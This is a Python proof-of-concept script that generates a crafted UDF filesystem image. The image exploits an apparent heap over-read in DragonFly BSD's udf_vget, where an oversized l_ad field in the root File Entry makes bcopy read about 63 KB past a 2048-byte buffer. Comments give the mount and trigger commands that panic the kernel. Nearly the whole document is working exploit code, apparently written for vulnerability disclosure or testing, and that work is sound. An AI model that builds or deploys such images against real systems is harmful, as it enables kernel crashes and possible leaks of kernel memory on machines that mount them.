DF-0880 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 | #!/usr/bin/env python3 # DF-0880 -- crafted UDF image generator (heap over-read in udf_vget). # # Builds a minimal but fully valid UDF filesystem (ECMA-167 / UDF 2.x) whose # ROOT File Entry descriptor carries attacker-chosen l_ea/l_ad that, per # udf_vfsops.c:527, drive: # # size = UDF_FENTRY_SIZE + fe->l_ea + fe->l_ad # # With l_ad = 0xFFFF (65535) and l_ea = 0: # # size = 176 + 0 + 65535 = 65711 bytes # # but RDSECTOR at :514 only read udfmp->bsize (2048) bytes into bp->b_data. # The bcopy at :530 # # bcopy(bp->b_data, unode->fentry, size) # # therefore reads 65711 bytes from a 2048-byte source buffer = a 63663-byte # (63 KB) heap OVER-READ. Neither l_ea nor l_ad is validated against bsize # anywhere between :527 and :530. # # Mount-time read of the root FE (udf_vfsops.c:372-386) only checks the # descriptor tag (TAGID_FENTRY) and does NOT compute size / bcopy, so the # image mounts cleanly. The over-read fires on first ls/stat when # udf_root() -> udf_vget() reads the root inode. # # Mount with: vnconfig vn0 img.udf ; mount_udf /dev/vn0c /mnt # Trigger: ls /mnt (or stat) -> kernel page-fault panic # # Layout (2048-byte sectors): # 16..18 VRS (BEA01 / NSR02 / TEA01) # 32..34 MVDS (PVD / PD / LVD) # 64 FSD (partition-relative 0) # 65 root File Entry(partition-relative 1) <-- l_ad=0xFFFF here # 256 Anchor VDP import struct, sys BSIZE = 2048 PART_ST = 64 # partition start sector (absolute) PART_LEN = 448 # sectors SECTORS = 512 # image size in sectors PART_NUM = 0 TAGID_PVD, TAGID_ANCHOR, TAGID_VOL, TAGID_PARTITION, TAGID_LOGVOL = 1,2,3,5,6 TAGID_TERM, TAGID_FSD, TAGID_FID, TAGID_FENTRY = 8,256,257,261 def tag(tid, loc, crc=0, crc_len=0, ver=2, serial=0): """Build a 16-byte desc_tag with the ECMA-167 checksum udf_checktag uses. (udf_checktag only verifies id + cksum, NOT desc_crc -- so crc can be 0.)""" b = bytearray(16) struct.pack_into("<HHBBHHHI", b, 0, tid, ver, 0, 0, serial, crc, crc_len, loc) # byte[2]=cksum(0) ck = 0 for i in range(15): # sum bytes 0..14 ck = (ck + b[i]) & 0xFF ck = (ck - b[4]) & 0xFF # subtract the cksum byte (udf_checktag line 218) b[4] = ck return bytes(b) def sector(buf): """Pad/truncate to exactly one 2048-byte sector.""" b = bytearray(buf) if len(b) < BSIZE: b.extend(b"\x00" * (BSIZE - len(b))) return bytes(b[:BSIZE]) def regid(s): s = s.encode() if isinstance(s, str) else s return bytes([0]) + s[:23].ljust(23, b"\x00") + b"\x00"*8 # flags+id(23)+suffix(8) def charspec(): return b"\x00" + b"OSTA Compressed Unicode" .ljust(63, b"\x00") def ts(): return b"\x01" + b"\x00"*11 # type 1 tz, zeroed time fields # ---------- Volume Recognition Sequence ---------- def vrs_entry(ident): b = bytearray(BSIZE) b[0] = 0 b[1:6] = ident.encode() if isinstance(ident,str) else ident struct.pack_into("<H", b, 6, 0x0201) return bytes(b) BEA = vrs_entry("BEA01") NSR = vrs_entry("NSR02") TEA = vrs_entry("TEA01") # ---------- Anchor VDP (sector 256) ---------- def anchor(): main_loc, main_len = 32, 5*BSIZE res_loc, res_len = 32, 5*BSIZE b = bytearray(BSIZE) b[0:16] = tag(TAGID_ANCHOR, 256) struct.pack_into("<II", b, 16, main_len, main_loc) struct.pack_into("<II", b, 24, res_len, res_loc) return bytes(b) # ---------- Primary Volume Descriptor (sector 32) ---------- def pvd(): b = bytearray(BSIZE) b[0:16] = tag(TAGID_PVD, 32) struct.pack_into("<II", b, 16, 1, 1) b[24:56] = b"DF0880DISK".ljust(32, b" ") struct.pack_into("<H", b, 56, 1) b[64:192] = b"DF0880VSET".ljust(128, b" ") b[192:256] = charspec() + charspec() return sector(b) # ---------- Partition Descriptor (sector 33) ---------- def pd(): b = bytearray(BSIZE) b[0:16] = tag(TAGID_PARTITION, 33) struct.pack_into("<I", b, 16, 1) struct.pack_into("<H", b, 20, 1) struct.pack_into("<H", b, 22, PART_NUM) b[24:56] = regid("+FDC01") b[56:184] = b"\x00"*128 struct.pack_into("<I", b, 184, 1) struct.pack_into("<I", b, 188, PART_ST) struct.pack_into("<I", b, 192, PART_LEN) return sector(b) # ---------- Logical Volume Descriptor (sector 34) ---------- def lvd(): b = bytearray(BSIZE) b[0:16] = tag(TAGID_LOGVOL, 34) struct.pack_into("<I", b, 16, 1) b[20:84] = charspec() b[84:212] = b"DF0880LOGVOL".ljust(128, b" ") struct.pack_into("<I", b, 212, BSIZE) b[216:248] = regid("*OSTA UDF Compliant") struct.pack_into("<I", b, 248, BSIZE) struct.pack_into("<IH", b, 252, 0, PART_NUM) struct.pack_into("<H", b, 258, 0) struct.pack_into("<I", b, 260, 0) struct.pack_into("<II", b, 264, 64, 1) b[272:304] = regid("*DragonFly BSD") b[304:432] = b"\x00"*128 struct.pack_into("<II", b, 432, 0, 0) b[440] = 1; b[441] = 6 struct.pack_into("<HH", b, 442, 0, PART_NUM) return sector(b) # ---------- File Set Descriptor (sector 64 = partition-relative 0) ---------- def fsd(): b = bytearray(BSIZE) b[0:16] = tag(TAGID_FSD, 0) b[16:28] = ts() struct.pack_into("<HH", b, 28, 3, 3) b[48:80] = charspec() b[80:208] = b"DF0880LOGVOL".ljust(128, b" ") b[208:272] = charspec() b[272:304] = b"\x00"*32 # rootdir_icb long_ad: len, lb_num(1), part_num(0), ad_flags, ad_id struct.pack_into("<I", b, 400, BSIZE) struct.pack_into("<IH", b, 404, 1, PART_NUM) # root FE at part-sector 1 struct.pack_into("<H", b, 410, 0) struct.pack_into("<I", b, 412, 0) b[416:416+32] = regid("*OSTA UDF Compliant") return sector(b) # ---------- File Entry (sector 65 = partition-relative 1) ---------- # THE BUG: l_ad=0xFFFF, l_ea=0 -> size=176+65535=65711 >> bsize=2048 def icb_tag(file_type, flags): b = bytearray(20) struct.pack_into("<I", b, 0, 0) struct.pack_into("<H", b, 4, 4) # strat_type 4 b[6:8] = b"\x00\x00" struct.pack_into("<H", b, 8, 1) b[10] = 0 b[11] = file_type # 4 = directory struct.pack_into("<IH", b, 12, 1, PART_NUM) struct.pack_into("<H", b, 18, flags) return bytes(b) def root_fe(l_ea=0, l_ad=0xFFFF): b = bytearray(BSIZE) b[0:16] = tag(TAGID_FENTRY, 1) # partition-relative sector 1 b[16:36] = icb_tag(file_type=4, flags=0) # directory, short_ad struct.pack_into("<I", b, 36, 0) # uid struct.pack_into("<I", b, 40, 0) # gid struct.pack_into("<I", b, 44, 0x14A4) # perm (0755 dir) struct.pack_into("<H", b, 48, 2) # link_cnt b[50] = 0; b[51] = 0 struct.pack_into("<I", b, 52, 0) # rec_len struct.pack_into("<Q", b, 56, 0) # inf_len (irrelevant; panic before readdir) struct.pack_into("<Q", b, 64, 1) # logblks_rec b[72:84] = ts() b[84:96] = ts() b[96:108] = ts() struct.pack_into("<I", b, 108, 1) # ckpoint b[112:128] = b"\x00"*16 # ex_attr_icb b[128:160] = regid("*DragonFly BSD") struct.pack_into("<Q", b, 160, 0) # unique_id struct.pack_into("<I", b, 168, l_ea) # l_ea <-- attacker-controlled struct.pack_into("<I", b, 172, l_ad) # l_ad <-- attacker-controlled (0xFFFF) # data[] at offset 176: zero (content irrelevant; bcopy over-reads the SOURCE) return sector(b) # ---------- assemble image ---------- img = bytearray(SECTORS * BSIZE) def put(sec, data): img[sec*BSIZE: sec*BSIZE + BSIZE] = data[:BSIZE] put(16, BEA); put(17, NSR); put(18, TEA) put(32, pvd()); put(33, pd()); put(34, lvd()) put(64, fsd()) put(65, root_fe(l_ea=0, l_ad=0xFFFF)) # THE VULNERABLE root FE put(256, anchor()) name = sys.argv[1] if len(sys.argv) > 1 else "df0880.udf" with open(name, "wb") as f: f.write(img) UDF_FENTRY_SIZE = 176 size = UDF_FENTRY_SIZE + 0 + 0xFFFF print("wrote %s: %d bytes (%d sectors)" % (name, len(img), SECTORS)) print("root FE: l_ea=0 l_ad=0xFFFF -> size=UDF_FENTRY_SIZE+l_ea+l_ad=%d+%d+%d=%d" % (UDF_FENTRY_SIZE, 0, 0xFFFF, size)) print("bsize=%d -> bcopy reads %d bytes from %d-byte buffer = %d-byte HEAP OVER-READ" % (BSIZE, size, BSIZE, size - BSIZE)) |